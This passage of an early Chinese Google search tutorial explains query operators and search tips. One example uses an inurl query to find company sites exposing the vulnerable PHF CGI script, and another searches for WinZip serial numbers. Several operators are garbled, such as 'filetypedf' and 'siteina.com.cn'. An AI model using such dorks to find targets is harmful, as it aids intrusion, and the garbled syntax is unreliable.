7.4，搜索引擎忽略的字符和词汇
7.5，强制搜索
8，进阶搜索
8.1，对搜索的网站进行限制
8.2，查询某一类文件（往往带有同一扩展名）
8.3，搜索的关键字包含在URL链接中
8.4，搜索的关键字包含在网页标题中
9，其他罕用语法
9.1，搜索所有链接到某个URL地址的网页
9.2，查找与某个页面结构内容相似的页面
9.3，从GOOGLE服务器上缓存页面中查询信息
9.4，info
10，图片搜索
11，目录内搜索
12，新闻组（USENET）搜索
13，GOOGLE的其他杰出功能
13.1，集成化的工具条
13.2，单词英文解释
13.3，网页翻译
13.4，搜索结果过滤
14，搜索技巧之关键词选择初探
15，常用搜索个案
15.1，找人
15.2，找软件
15.3，找图片
15.4，找MP3
15.5，找书
16，GOOGLE搜索FAQ
17，后记

------------------------------

1，前言

我是在2000年上半年知道GOOGLE的。在这之前，我搜索英文信息通常用AltaVista，而搜索中文信息则常用Sina。但自使用了GOOGLE之后，它便成为我的Favorite Searchengine了。这也得感谢新浪网友曹溪，因为当初正是因为他的大力推介，才使我识得了GOOGLE。

记得1996年夏季的时候，当我第一次接触Internet，便被扑面而来的魔力征服了。那种天涯咫尺的感觉，真是妙不可言。在经历了疯狂的WWW冲浪和如痴如醉的BBS沉迷之后，我意识到Internet对我影响至深的还是在于学习方式的变迁。

如何来描述这种变迁呢？以前的学习，一般需要预先在肚子里存储下足够的知识，必要时，就从海量的信息中提取所需的部分。这种学习方式造就了很多“才高八斗，学富五车”的大才子。但是，到了信息领域大大超出“四书五经”的新时期，预先无目的的吞下海量信息的学习方式就有些不合时宜了。比方说，我们到了大型的图书城，往往有一种不知所措的感觉。旧有的学习方式需要变更以适应这个信息爆炸的年代。目的明确的去学习，即先知道要学什么，然后有目的的去寻找答案，这种方式看上去更加有效率。我不妨把这称为“即学式”，相应的，旧有的称为“预学式”。

不过，“即学式”的实施是有前提的。首先，要求学习者拥有一个包罗万象的信息库，以供随时抽取各种目的信息；其次，是需要一个强劲的信息检索工具，以便高效率的从信息库中提取信息。很明显，Internet可以充当那个海量的信息库，而搜索引擎，则正是寻找光明之火的绝好工具。

“公欲善其事，必先利其器”。Internet只有一个，而搜索引擎则有N多个。有搜索高手说，所谓搜索，就是“在正确的地方使用正确的工具和正确的方法寻找正确的内容”。但是，对于普通人而言，掌握诸多搜索引擎的可能性似乎不大。用一两个相对强劲的具代表性的工具达到绝大多数搜索目的更为人们所迫切希望。不同的时期，涌现出不同的强者。就目前而言，我们非常幸运的有了：

*****GOOGLE*****

2，摘要

本文简要的介绍了GOOGLE的历史和特点，GOOGLE的基本搜索语法和高级搜索语法，GOOGLE的特色功能，包括图片搜索、新闻组搜索和集成工具条等，还简单的介绍了一些常用搜索技巧和实用个案。尽管本文名为“GOOGLE搜索从入门到精通”，但事实上，笔者对运用GOOGLE进行搜索也尚处于“入门”阶段。

3，如何使用本文

阅读本文最好具备一些最基本的布尔代数基础，如“与”、“或”、“非”等。不过，即便你没有这方面的知识，也不必在意。对那些实例进行练习，你的疑惑就会迎刃而解。对于刚刚接触网络搜索的读者而言，也许你应该从头到尾的阅读本文；但对于那些有一定搜索基础的读者而言，只需要跳跃着寻找自己所需要的信息就可以了。当然，如果你有一定的英文基础，也可以把本文与GOOGLE大全（http://www.google.com/about.html）参照阅读，那样效果会更好。

4，GOOGLE简介

Google（www.google.com）是一个搜索引擎，由两个斯坦福大学博士生Larry Page与Sergey Brin于1998年9月发明，Google Inc. 于1999年创立。2000年7月份，Google替代Inktomi成为Yahoo公司的搜索引擎，同年9月份，Google成为中国网易公司的搜索引擎。98年至今，GOOGLE已经获得30多项业界大奖。

GOOGLE的成功得益于其强大的功能和独到的特点：

GOOGLE支持多达132种语言，包括简体中文和繁体中文；
GOOGLE网站只提供搜索引擎功能，没有花里胡哨的累赘；
GOOGLE速度极快，据说有10000多台服务器，200多条T3级宽带；

GOOGLE的专利网页级别技术PageRank能够提供高命中率的搜索结果；
GOOGLE的搜索结果摘录查询网页的含有关键字的内容，而不仅仅是网站简介；
GOOGLE智能化的“手气不错”功能，提供可能最符合要求的网站；
GOOGLE的“网页快照”功能，能从GOOGLE服务器里直接取出缓存的网页。

5，搜索入门

要用GOOGLE做搜索，当然首先要进GOOGLE网站--www.google.com；不过，163.com和yahoo.com.cn使用的实际上也是GOOGLE搜索引擎，只是对搜索结果进行了编排，但无法提供一些特色功能，如图片搜索等。

第一次进入GOOGLE，它会根据你的操作系统，确定语言界面。需要提醒的是，GOOGLE是通过cookie来存储页面设定的，所以，如果你的系统禁用cookie，就无法对GOOGLE界面进行个人设定了。

GOOGLE的首页很清爽，LOGO下面，排列了四大功能模块：网站、图像、新闻组和目录服务。默认是网站搜索。现在进行第一次搜索实践，要查找所有关于“易筋经”的中文网站和网页。在搜索框内输入一个关键字“易筋经”，然后点击下面的“google搜索”按钮（或者直接回车），结果就出来了。

搜索：“易筋经”
结果：已搜索有关易筋经的中文(简体)网页。 共约有5,930项查询结果，这是第1-10项 。 搜索用时0.12秒。

6，初阶搜索

在上例子中，你已经知道了最基本的搜索，即查询包含单个关键字的信息。现在，进一步探讨多个关键字以及关键字间不同逻辑关系的查询。

6.1，搜索结果要求包含两个及两个以上关键字

一般搜索引擎需要在多个关键字之间加上“+”，而GOOGLE无需用明文的“+”来表示逻辑“与”操作，只要空格就可以了。

示例：搜索所有包含关键词“易筋经”和“吸星大法”的中文网页
搜索：“易筋经 吸星大法”
结果：已搜索有关易筋经 吸星大法的中文(简体)网页。 共约有774项查询结果，这是第1-10项 。 搜索用时0.24秒。

注意：文章中搜索语法外面的引号仅起引用作用，不能带入搜索栏内。

6.2，搜索结果要求不包含某些特定信息

GOOGLE用减号“-”表示逻辑“非”操作。

示例：搜索所有包含“易筋经”而不含“吸星大法”的中文网页
搜索：“易筋经 -吸星大法”
结果：已搜索有关易筋经 -吸星大法的中文(简体)网页。 共约有5,150项查询结果，这是第1-10项 。 搜索用时0.40秒。

注意：这里的“+”和“-”号，是英文字符，而不是中文字符的“＋”和“－”。此外，操作符与作用的关键字之间，不能有空格。比如“易筋经 - 吸星大法”，搜索引擎将视为关键字为易筋经和吸星大法的逻辑“与”操作，中间的“-”被忽略。

6.3，搜索结果至少包含多个关键字中的任意一个

GOOGLE用大写的“OR”表示逻辑“或”操作。假定你是布兰妮和批头士的歌迷，现在要查找所有关于布兰妮和批头士的中文网页。

示例：搜索包含布兰妮“Britney”或者披头士“Beatles”、或者两者均有的中文网页。
搜索：“Britney OR Beatles OR 布兰妮 OR 批头士”
结果：已搜索有关Britney OR Beatles OR 布兰妮 OR 批头士的中文(简体)网页。 共约有31,300项查询结果，这是第1-10项 。

注意：小写的“or”，在查询的时候将被忽略；这样上述的操作实际上变成了一次“与”查询。

6.4，“+”、“-”和“OR”的混合查询

混合查询涉及到逻辑操作符的顺序问题。一般而言，搜索引擎按照从左往右的顺序读取操作符号。如果只涉及“与”操作和“非”操作，则不会产生顺序问题，搜索结果数量和关键字顺序无关，不过，具体搜索的结果顺序会视关键字的顺序而定。单纯的“或”操作也同样道理。但是，如果“或”查询和其他两种查询混合在一起，问题就复杂了。现在我们做这样的查询：“所有关于Britney或者Beatles、但是没有Madonna相关信息的中文网页”。

搜索：“Britney OR Beatles -Madonna”
结果：已搜索有关Britney OR Beatles -Madonna的中文(简体)网页。 共约有16,200项查询结果，这是第1-10项 。 搜索用时0.23秒。

搜索：“-Madonna Britney OR Beatles”
结果：已搜索有关-Madonna Britney OR Beatles的中文(简体)网页。 共约有16,200项查询结果，这是第1-10项 。 搜索用时0.13秒。

搜索：“Britney -Madonna OR Beatles”
结果：找不到和您的查询-Britney -Madonna OR Beatles-相符的网页

搜索：“Britney OR -Madonna Beatles”
结果：找不到和您的查询-Britney OR -Madonna Beatles -相符的网页

可见，“或”操作的前后两个关键字必须是默认的“与”查询，否则，搜索引擎将无法完成搜索。

6.5，用“+”和“-”减少冗余信息

通常情况下，用一个关键字查询，会得到很多和查询目的不相关的冗余信息。我们总是希望，搜索结果的第一个条目中就包含所需要的信息。“+”和“-”很多时候就起到缩小搜索结果的范围，以提高查询结果命中率。

例：查阅天龙八部具体是哪八部。

分析：如果光用“天龙八部”做关键字，搜索结果有20,300项，而且排前列的主要与金庸的小说《天龙八部》相关，很难找到所需要的资讯。可以用两个方法减少无关结果。

1，如果你知道八部中的某一部，比如阿修罗，增加“阿修罗”关键字。“天龙八部 阿修罗”的搜索结果就只有1,050项，可以很快找到全部八部。

2，如果你不知道八部中的任何一部，但知道这与佛教相关，可以排除与金庸小说相关的记录。“天龙八部 佛教 -金庸”的查询结果为1,120项，可以迅速找到需要的资料。

7，辅助搜索

7.1，通配符问题

很多搜索引擎支持通配符号，如“*”代表一连串字符，“?”代表单个字符等。GOOGLE不支持通配符，只能做精确查询，关键字中的“*”或者“?”会被忽略掉。

7.2，关键字的字母大小写

GOOGLE对英文字符大小写不敏感，“GOD”和“god”搜索的结果是一样的。

7.3，搜索整个句子

GOOGLE的关键字可以是词组（中间没有空格），也可以是句子（中间有空格），但是，用句子做关键字，必须加英文引号。

示例：搜索包含“long, long ago”字串的页面。
搜索：“"long long ago"”
结果：已搜索有关long long ago的中文(简体)网页。 共约有16,500项查询结果，这是第1-10项 。 搜索用时0.06秒。 。

7.4，搜索引擎忽略的字符和词汇

GOOGLE对一些网路上出现频率极高的英文单词，如“i”、“com”、“www”等，以及一些符号如“*”、“.”等，作忽略处理。

示例：搜索关于第一次世界大战的信息
搜索：“"worldwar i"”
结果："i"使用过于频繁，没有被列入搜索范围。已向英特网搜索"worldwar i". 共约有7,370项查询结果，这是第1-10项 。 搜索用时0.17秒。

7.5，强制搜索

如果要对忽略的关键字进行强制搜索，则需要在该关键字前加上明文的“+”号。

示例：搜索包含“Who am I ?”的网页。如果用“"who am i ?"”，“Who”、“I”、“?”会被省略掉，搜索将只用“am”作关键字，所以应该用强制搜索。
搜索：“"+who +am +i"”
结果：已向英特网搜索"+who +am +i". 共约有332,000项查询结果，这是第1-10项 。 搜索用时3.68秒。

注意：大部分常用英文符号（如问号，句号，逗号等）无法成为搜索关键字，加强制也不行。

8，进阶搜索

上面已经探讨了GOOGLE的一些最基础搜索语法。通常而言，这些简单的搜索语法已经能解决绝大部分问题了。不过，如果想更迅速更贴切找到需要的信息，你还需要了解更多的东西。

8.1，对搜索的网站进行限制

“site”表示搜索结果局限于某个具体网站或者网站频道，如“sina.com.cn”、“edu.sina.com.cn”，或者是某个域名，如“com.cn”、“com”等等。如果是要排除某网站或者域名范围内的页面，只需用“-网站/域名”。

示例：搜索中文教育科研网站（edu.cn）上所有包含“金庸”的页面。
搜索：“金庸 site:edu.cn”
结果：已搜索有关金庸 site:edu.cn的中文(简体)网页。 共约有1,730项查询结果，这是第1-10项 。 搜索用时0.23秒。

示例：搜索包含“金庸”和“古龙”的中文新浪网站页面，
搜索：“金庸 古龙 siteina.com.cn”
结果：已在sina.com.cn搜索有关金庸 古龙 的中文(简体)网页。 共约有734项查询结果，这是第1-10项 。 搜索用时0.12秒。

示例：搜索新浪文教频道中关于鲁迅的信息。
搜索：“鲁迅 site:edu.sina.com.cn”
结果：已在edu.sina.com.cn搜索有关 鲁迅的中文(简体)网页。 共约有672项查询结果，这是第1-10项 。 搜索用时0.24秒。

注意：site后的冒号为英文字符，而且，冒号后不能有空格，否则，“site:”将被作为一个搜索的关键字。此外，网站域名不能有“http”以及“www”前缀，也不能有任何“/”的目录后缀；网站频道则只局限于“频道名.域名”方式，而不能是“域名/频道名”方式。诸如“金庸 site:edu.sina.com.cn/1/”的语法是错误的。

8.2，查询某一类文件（往往带有同一扩展名）

“filetype:”，这是个尚在测试阶段的GOOGLE特色查询，不过功能已经非常强大，可以做很多意想不到的事情哦。

最重要的文档搜索是PDF搜索。PDF是ADOBE公司开发的电子文档格式，现在已经成为互联网的电子化出版标准。目前GOOGLE检索的PDF文档大约有2500万左右。PDF文档通常是一些图文并茂的综合性文档，提供的资讯一般比较集中全面。

示例：搜索关于电子商务（ECOMMERCE）的PDF文档。
搜索：“ecommerce filetypedf”
结果：已向英特网搜索ecommerce filetypedf. 共约有25,500项查询结果，这是第91-100项 。 搜索用时0.44秒。

下面是某项搜索结果：

[PDF] www.ecommerce.gov/apec
文档类型: PDF/Adobe Acrobat - 一般文字档
Page 1. A Partnership of the Business Community With APEC Economies E-COMMERCE
READINESS ASSESSMENT GUIDE www.ecommerce.gov/apec Page 2. ...
www.ecommerce.gov/apec/docs/readiness_guide_files/readiness_guide_5.pdf - 类似网页

可以看到，GOOGLE在PDF档前加上了[PDF]的标记，而且，GOOGLE把PDF文件转换成了文字档，点击“一般文字档”，可以粗略的查看该PDF文档的大致内容。当然，PDF原有的图片以及格式是没有了。

搜索PDF文档还可以用“inurl:”语法。比如上例，也可以用“inurldf ecommerce”。搜索结果数量大致相同，不过查询结果顺序则略有很大差别。

注意，上述查询均是对PDF内文的检索，“ecommerce”这个关键字是包含在PDF文档中的。

“filetype”的另一个强大用处则在图片搜索。下文将对GOOGLE的图片搜索功能作详细说明，此处只是略提一下。进入“http://images.google.com/”，查找关于本拉登的JPG图片。

搜索：“Bin Laden filetype:jpg”
结果：搜索有关 Bin Laden filetype:jpg 的图片（）。（试验版） 共约有1,630项查询结果，这是第1-20项 。 搜索用时0.14秒。

除此之外，我尚未发现其他的filetype用法。如果有谁知道，请给我发邮件。预先感谢。

8.3，搜索的关键字包含在URL链接中

“inurl”语法返回的网页链接中包含第一个关键字，后面的关键字则出现在链接中或者网页文档中。有很多网站把某一类具有相同属性的资源名称显示在目录名称或者网页名称中，比如“MP3”、“GALLARY”等，于是，就可以用INURL语法找到这些相关资源链接，然后，用第二个关键词确定是否有某项具体资料。INURL语法和基本搜索语法的最大区别在于，前者通常能提供非常精确的专题资料。

示例：查找MIDI曲“沧海一声笑”。
搜索：“inurl:midi 沧海一声笑”
结果：已搜索有关inurl:midi 沧海一声笑的中文(简体)网页。 共约有16项查询结果，这是第1-10项 。 搜索用时0.16秒。

示例：查找[M$]网站上关于windows2000的安全课题资料。
搜索：“inurlecurity windows2000 siteM$].com”
结果：已在[M$].com内搜索有关inurlecurity windows2000 的网页。 共约有188项查询结果，这是第1-10项 。 搜索用时0.27秒。

注意：“inurl:”后面不能有空格，GOOGLE也不对URL符号如“/”进行搜索。例如，GOOGLE会把“cgi-bin/phf”中的“/”当成空格处理。

“allinurl”语法返回的网页的链接中包含所有作用关键字。这个查询的关键字只集中于网页的链接字符串。

示例：查找可能具有PHF安全漏洞的公司网站。通常这些网站的CGI-BIN目录中含有PHF脚本程序（这个脚本是不安全的），表现在链接中就是“域名/cgi-bin/phf”。
语法：“allinurl:"cgi-bin" phf +com”
搜索：已向英特网搜索allinurl:"cgi-bin" phf +com. 共约有37项查询结果，这是第1-10项 。 搜索用时0.36秒。

8.4，搜索的关键字包含在网页标题中

“intitle”和“allintitle”的用法类似于上面的inurl和allinurl，只是后者对URL进行查询，而前者对网页的标题栏进行查询。网页标题，就是HTML标记语言title中之间的部分。网页设计的一个原则就是要把主页的关键内容用简洁的语言表示在网页标题中。因此，只查询标题栏，通常也可以找到高相关率的专题页面。

示例：查找日本明星藤原纪香的照片集。
搜索：“intitle:藤原纪香 写真”
结果：已搜索有关intitle:藤原纪香 写真的中文(简体)网页。 共约有465项查询结果，这是第1-10项 。 搜索用时0.16秒。

9，其他罕用语法

9.1，搜索所有链接到某个URL地址的网页

如果你拥有一个个人网站，估计很想知道有多少人对你的网站作了链接。而“link”语法就能让你迅速达到这个目的。

示例：搜索所有含指向华军软件园“www.newhua.com”链接的网页。
搜索：“link:www.newhua.com”
结果：搜索有链接到www.newhua.com的网页 。 共约有856项查询结果，这是第1-10项 。 搜索用时0.17秒。

注意：“link”不能与其他语法相混合操作，所以“link:”后面即使有空格，也将被GOOGLE忽略。

9.2，查找与某个页面结构内容相似的页面

“related”用来搜索结构内容方面相似的网页。例：搜索所有与中文新浪网主页相似的页面（如网易首页，搜狐首页，中华网首页等），“related:wwwsina.com.cn/index.shtml”。

9.3，从GOOGLE服务器上缓存页面中查询信息

“cache”用来搜索GOOGLE服务器上某页面的缓存，通常用于查找某些已经被删除的死链接网页，相当于使用普通搜索结果页面中的“网页快照”功能。

示例：查找GOOGLE缓存的中文yahoo首页
搜索：“cache:www.yahoo.com.cn”
结果：这是 G o o g l e 内 http://cn.yahoo.com/ 的页库快照。
G o o g l e 已先预览各网站，拍下网页的快照存档。
这网页可能有更新的版本，请按此查看新版。

Google 和网页作者无关，不对网页的内容负责。
...

9.4，info

info用来显示与某链接相关的一系列搜索，提供cache、link、related和完全包含该链接的网页的功能。

示例：查找和新浪首页相关的一些资讯。
搜索：“info:www.sina.com.cn”
结果：有关www.sina.com.cn的网页信息。

新浪首页
北京站 上海站 广东站. ... 首页, |, 新闻, |, 体育, |, 财经, |,
科技, |, 娱乐, |, 游戏, |, 军事, |, 健康, |, 教育, |, 汽车, |,
女性, |, 个人家园. ...
简介: 位于北京的新闻中心，包括新闻与评论。
类别: World > Chinese Simplified > 新闻

Google 提供这个网址的信息:

查看Google网页快照里www.sina.com.cn的存档
寻找和www.sina.com.cn类似的网页
寻找网页有链接到www.sina.com.cn
寻找网页包含�"www.sina.com.cn"

10，图片搜索

我不得不承认，GOOGLE的图片搜索功能真是个伟大的发明！！GOOGLE自称可以检索320,000,000张图片，并称自己为“互联网上最好用的图像搜索工具”。尽管目前该功能尚在B测试阶段，但的确已经非常好用！

GOOGLE首页点击“图像”链接就进入了GOOGLE的图像搜索界面“images.google.com”。你可以在关键字栏位内输入描述图像内容的关键字，如“britney spears”，就会搜索到大量的小甜甜布兰妮的图片。我目前尚不是很清楚图片的排列标准，不过以观察来看，似乎图片文件名完全符合关键字的结果排列比较考前，然后才按照普通的页面搜索时的标准排列。

GOOGLE给出的搜索结果具有一个直观的缩略图（THUMBNAIL），以及对该缩略图的简单描述，如图像文件名称，以及大小等。点击缩略图，页面分成两祯，上祯是图像之缩略图，以及页面链接，而下祯，则是该图像所处的页面。屏幕右上角有一个“Remove Frame”的按钮，可以把框架页面迅速切换到单祯的结果页面，非常方便。

GOOGLE图像搜索目前支持的语法包括“+”，“-”，“OR”，“site”和“filetype”。

示例：查找美国教育网上的宇宙大爆炸jpg图片
搜索：“BIG BANG filetype:jpg site:edu”
结果：搜索有关 BIG BANG filetype:jpg site:edu 的图片（）。（试验版） 共约有337项查询结果，这是第1-20项 。 搜索用时1.99秒。

11，目录内搜索

如果不想搜索广泛的网页，而是想寻找某些专题网站，可以访问GOOGLE的分类目录“http://directory.google.com/”，中文目录是“http://directory.google.com/Top/World/Chinese_Simplified/”。

目前GOOGLE使用的分类目录采用了ODP的内容。“Open Directory Project”是网景公司所主持的一项大型公共网页目录。由全世界各地的义务编辑人员来审核挑选网页，并依照网页的性质及内容来分门别类。因此，在某一目录门类中进行搜索往往能有更高的命中率。另外，GOOGLE根据其专业的“网页级别”（PageRank）技术对目录中登录的网站进行了排序，可以让一般的检索更具高效率。

示例：查找一下关于癌症治疗以及护理方面的中文资料
搜索：先进入中文简体分类目录，再进入“健康”子目录，确定选中“只在健康中搜索”单选项目。在搜索栏内填入“癌症”进行搜索。
结果：在分类健康项中搜索癌症。 共约有370项查询结果，这是第1-10项 。 搜索用时0.05秒。

可以看到，上述查询结果比普通的检索更有效，因为在分类健康项中进行搜索剔除了很多不相关的诸如新闻之类的无效信息。不过，对于中文用户而言，现在最大的问题是志愿的中文目录编辑太少，导致收录站点太少，因此搜索结果范围显得过于狭隘。但愿这个问题能随着GOOGLE以及ODP项目在国内名声的响亮而能得到改观。

12，新闻组（USENET）搜索

新闻组有详尽的分类主题，某些主题还有专人管理和编辑，具有大量的有价值信息。由于新闻组包含的信息实在是海量，因此不利用工具进行检索是不大可能的。DEJA一直是新闻组搜索引擎中的佼佼者。2001年2月份，GOOGLE将DEJA收购并提供了所有DEJA的功能。现在，除了搜索之外，GOOGLE还支持新闻组的WEB方式浏览和张贴功能。

进入GOOGLE新闻组“http://groups.google.com/”，你有两种信息查找方式。一种是一层层的点击进入特定主题讨论组，另一种则是直接搜索。现在，我们进行一个最简单的搜索试验，查找一下新闻组中关于山顶洞人的讨论信息。

搜索：“山顶洞人”
结果：在各群组内搜索 山顶洞人 共约有18项查询结果，这是第1-10项 。 搜索用时0.29秒。

搜索结果默认按照“留言内容”排列，但是你也可以点击“依照日期”按钮，让帖子按照发布日期排列。

因为新闻组中的帖子实在是多，而且又涉及一些普通搜索所没有的语法，所以建议使用“高级群组搜寻”进入高级搜索界面。新闻组高级搜索提供留言内容、分类主题、标题、留言者、留言代码、语言和发布日期作为条件进行搜索。其中作者项指作者发帖所用的唯一识别号电子信箱。

13，GOOGLE的其他杰出功能

13.1，集成化的工具条

为了方便搜索者，GOOGLE提供了工具条，集成于浏览器中，用户无需打开GOOGLE主页就可以在工具条内输入关键字进行搜索。此外，工具条还提供了其他许多功能，如显示页面PageRank等。最方便的一点在于用户可以快捷的在GOOGLE主页、目录服务、新闻组搜索、高级搜索和搜索设定之间切换。欲安装GOOGLE的工具条，可以访问“http://toolbar.google.com/”，按页面提示可以自动下载并安装。不过，GOOGLE工具条目前只支持IE5.0以上版本。

对于经常进行网络搜索者而言，GOOGLE工具条实在是必备的东西！！

13.2，单词英文解释

写英文文章的时候，最头疼的事情就是对某个英文单词的用法不确定。现在有了GOOGLE，一切就迎刃而解了！无论你是想查找某个生词的意思还是想了解某个单词的用法，均可使用在线词典。

进入英文GOOGLE，输入你要查的单词。举个例子，我想查一下suggest的用法。结果如下：“Searched the web for suggest. Results 1 - 10 of about 8,000,000. Search took 0.08 seconds. ”注意看上面句子中，单词suggest下出现了一个横线，点击这个链接，就跳转到另外一个网站“http://www.dictionary.com/”，GOOGLE已经把单词提交给该网站的查询脚本。看看这个网站所提供的详尽解释吧。

13.3，网页翻译

你懂英文，但是你不见得就懂德文、法文、拉丁文。如果搜索出来的页面是这些语言怎么办？呵呵，GOOGLE提供了网页翻译功能！！虽然目前只支持有限的拉丁语、法语、西班牙语、德语和葡萄牙文，但是我不得不承认，这是个杰出功能。

试着做以下搜索：“big bang site:fr”。这个表示查找关于宇宙大爆炸的法文网页。看第一条结果：

The Big Bang Website - [ Translate this page ]
... A propos de Big Bang. Le dernier numéro en date. Les anciens numéros. Autres
activités. Concerts progressifs en France. Emissions de radio. Liens.
perso.club-internet.fr/calyx/bigbang/ - 3k - Cached - Similar pages

有点晕。没关系，点击“Translate this page”按钮。再看结果，嗯，大致能看明白，这原来是个叫“big bang”的乐队的网站，与大爆炸无关...

机器翻译是一个很前沿的人工智能课题，想指望翻译出来的结果跟专门用英语撰写的内容是不可能的。但西文间的互相转译比中英文机译强得多得多了。至少能看明白。

13.4，搜索结果过滤

网络上的成人内容浩如烟海，而且很多站点具有欺骗或者其他不良企图，浏览者很容易掉入其中的陷阱。为此，GOOGLE新设立了成人内容过滤功能，见GOOGLE的设置页面，http://www.google.com/preferences，最底下有一个选项SafeSearch Filtering。不过，中文状态下的GOOGLE尚没有这个功能。

14，搜索技巧之关键词选择初探

关键词的选择在搜索中起到决定性的作用，所有搜索技巧中，关键词选择是最基本也是最有效的。

例一：查找《镜花缘》一书中淑士国酒保的酸话原文。

分析：如果按照一般的思路，找某部小说中的具体段落，就需要用搜索引擎先找到这本书，然后再翻到该段落。这样做当然可以，但是效率很低。如果了解目标信息的构成，用一些目标信息所特有的字词，可以非常迅速的查到所需要的资料。也就是说，高效率的搜索关键字不一定就是目标信息的主题。在上面的例子中，酒保谈到酒的浓淡与贵贱的关系时，之乎者也横飞。因此，可以用特定的词语一下子找到目标资料。

搜索：“酒 贵 贱 之”，OK，找到的第一条信息就是镜花缘的这一段落：“先生听者：今以酒醋论之，酒价贱之，醋价贵之。因何贱之？为甚贵之？真所分之，在其味之。酒昧淡之，故而贱之；醋味厚之，所以贵之。...”

以上的关键字选择技巧可以谓之“特定词法”。

例二：“黄花闺女”一词中“黄花”是什么意思。

分析：“黄花闺女”是一个约定的俗语，如果只用“黄花闺女
黄花”做关键词，搜索结果将浩如烟海，没什么价值，因此必须要加更多的关键词，约束搜索结果。选择什么关键词好呢？备选的有“意思”、“含义”、“来历”、“由来”、“典故”、“出典”、“渊源”等，可以猜到的是，类似的资料，应该包含在一些民俗介绍性的文字里，所以用诸如“来历”、“由来”、“出典”等词汇的概率更高一些。

搜索：“黄花闺女 黄花
由来”，查到“黄花”原来出典于《太平御览》，与南朝的寿阳公主相关。如果想获得第一手资料，那就可以用“太平御览 寿阳公主”做搜索了。

以上的关键字选择技巧可以谓之“近义词法”。

例三：刘德华同志的胸围是多少。

分析：首先声明，这是某个MM要我做的搜索，我把它作为搜索案例而已，没其他的意思。非常直接的搜索是，“刘德华 胸围”，但事实上，这么搜索出来的结果，尽是一些诸如“刘德华取笑莫文蔚胸围太小”之类的八卦新闻，无法快速得到所需要的资料。可以想到的是，需要的资料应该包含在刘德华的全面介绍性文字中，除了胸围，应该还包括他的身高，体重，生日等一系列相关信息。OK，这样就可以进一步的增加其他约束性关键词以缩小搜索范围。

搜索：“刘德华 胸围
身高”，没有料到的情况发生了，网上炙手可热的痞子蔡《第一次亲密接触》里居然含有这样关键字，阿泰“改编自刘德华《忘情水》的变态歪歌”、“用身高体重三围和生日来加以编号”。好办，把这部小说去掉，“刘德华 胸围 身高 -阿泰”，OK，结果出来了，华仔胸围84cm。说明一下，为什么用“阿泰”而不用“第一次亲密接触”呢？这是因为小说的名字被转载的时候可能有变动，但里面角色的名字是不会变的。

以上的关键字选择技巧可以谓之“相关词法”。

15，常用搜索个案

15.1，找人

分析：一个人在网上揭示的资料通常有：姓名，网名，性别，年龄，毕业学校，工作单位，外号，住址，电话，信箱，BP，手机号码，ICQ号，OICQ号等等。所以，如果你要了解一下你多年没见过的同学，那不妨用上述信息做关键字进行查询，也许会有大的收获。

15.2，找软件

分析一：最简单的搜索当然就是直接以软件名称以及版本号为关键字查询。但是，仅仅有软件名称和目标网站，显然还不行，因为搜索到的可能是软件的相关新闻。应该再增加一个关键字。考虑到下载页面上常有“点击此处下载”或者“download”的提示语，因此，可以增加“下载”或者“download”为关键字。
搜索：“winzip 8.0 下载”
结果：已搜索有关winzip 8.0
下载的中文(简体)网页。共约有6,670项查询结果，这是第1-10项。搜索用时0.22秒。

分析二：很多网站设有专门的下载目录，而且就命名为“download”，因此，可以用INURL语法直接搜索这些下载目录。
搜索：“winzip 8.0 inurlownload”
结果：已搜索有关winzip 8.0
inurlownload的中文(简体)网页。共约有358项查询结果，这是第1-10项。搜索用时0.44秒。

在互联网上随意的下载软件是不安全的，因为供下载的软件有可能带有病毒或者捆绑了木马，所以，对下载网站作一个限定，是一个稳妥的思路。可以用SITE语法达到这个目的。

共享软件下载完之后，使用的时候，软件总跳出警示框，或者软件的功能受到一定限制。由于中国的网民多是穷棒子，所以应该再找一个注册码。找注册码，除了软件的名称和版本号外，还需要有诸如“serial
number”、“sn”、“序列号”等关键字。现在，来搜索一下winzip8.0的注册码。
搜索：“winzip 8.0 sn”
结果：已向英特网搜索winzip 8.0 sn. 共约有777项查询结果，这是第1-10项。搜索用时0.30秒。

15.3，找图片

除了GOOGLE提供的专门图片搜索功能，还可以组合使用一些搜索语法，达到图片搜索之目的。

分析一：专门的图片集合，提供图片的网站通常会把图片放在某个专门目录下，如“gallary”、“album”、“photo”、“image”等。这样就可以使用INURL语法迅速找到这类目录。现在，试着找找小甜甜布兰妮的照片集。
搜索：“"britney spears" inurlhoto”
结果：已向英特网搜索"britney spears" inurlhoto. 共约有2,720项查询结果，这是第1-10项。搜索用时0.23秒。

分析二：提供图片集合的网页，在标题栏内通常会注明，这是谁谁的图片集合。于是就可以用INTITLE语法找到这类网页。
搜索：“intitle:"britney spears" picture”
结果：已向英特网搜索intitle:"britney spears" picture. 共约有317项查询结果，这是第1-10项。搜索用时0.40秒。

分析三：明星的FANS通常会申请免费个人主页来存放他们偶像的靓照。于是用SITE语法指定某免费主页提供站点，是个迅速找到图片的好办法。
搜索：“"britney spears" site:geocities.com”
结果：已在geocities.com内搜索有关"britney spears"的网页。共约有5,020项查询结果，这是第1-10项。搜索用时0.47秒。

15.4，找MP3

分析一：提供MP3的网站，通常会建立一个叫做MP3的目录，目录底下分门别类的存放各种MP3乐曲。所以，可以用INURL语法迅速找到这类目录。现在用这个办法找找老歌“say
you say me”。
搜索：“"say you say me" inurl:mp3”
结果：已向英特网搜索inurl:mp3 "say you say me". 共约有155项查询结果，这是第1-10项。搜索用时0.17秒。

分析二：也可以通过网页标题，找到这类提供MP3的网页。
搜索：“"say you say me" intitle:mp3”
结果：已向英特网搜索"say you say me" intitle:mp3. 共约有178项查询结果，这是第1-10项。搜索用时0.73秒。

当然，如果你知道某个网站的下载速度快，而且乐曲全，就可以用SITE语法先到该网站上看看有没有目标乐曲。

15.5，找书

分析一：对我而言，常访问的电子图书馆类网站就那么几个，比如文艺类的“www.shuku.net”。于是可以用SITE语法很简单的找到某本书（如果该网站上有的话）。比如，“旧唐书 sitehuku.net”，就可以马上找到该书。如果没有，通常别的网站上也很难找到。因此，找书的关键，是你了解一大批著名的图书馆网站。

分析二：我上面介绍的第一项关键字选择技巧特定词法，对于迅速找到某书或者文章也是极其有用的，当然，这得建立在你已经读过该书，对书的内容有印象的基础上。比如如果了解堂吉诃德一书战风车的大致内容，就可以用“吉诃德 风车 桑乔”迅速找到该书。

16，GOOGLE搜索FAQ

Q：如何全面的了解google.com？
A：查看网站相关页面“http://www.google.com/about.html”。

Q：如何切换google.com的初始语言界面？
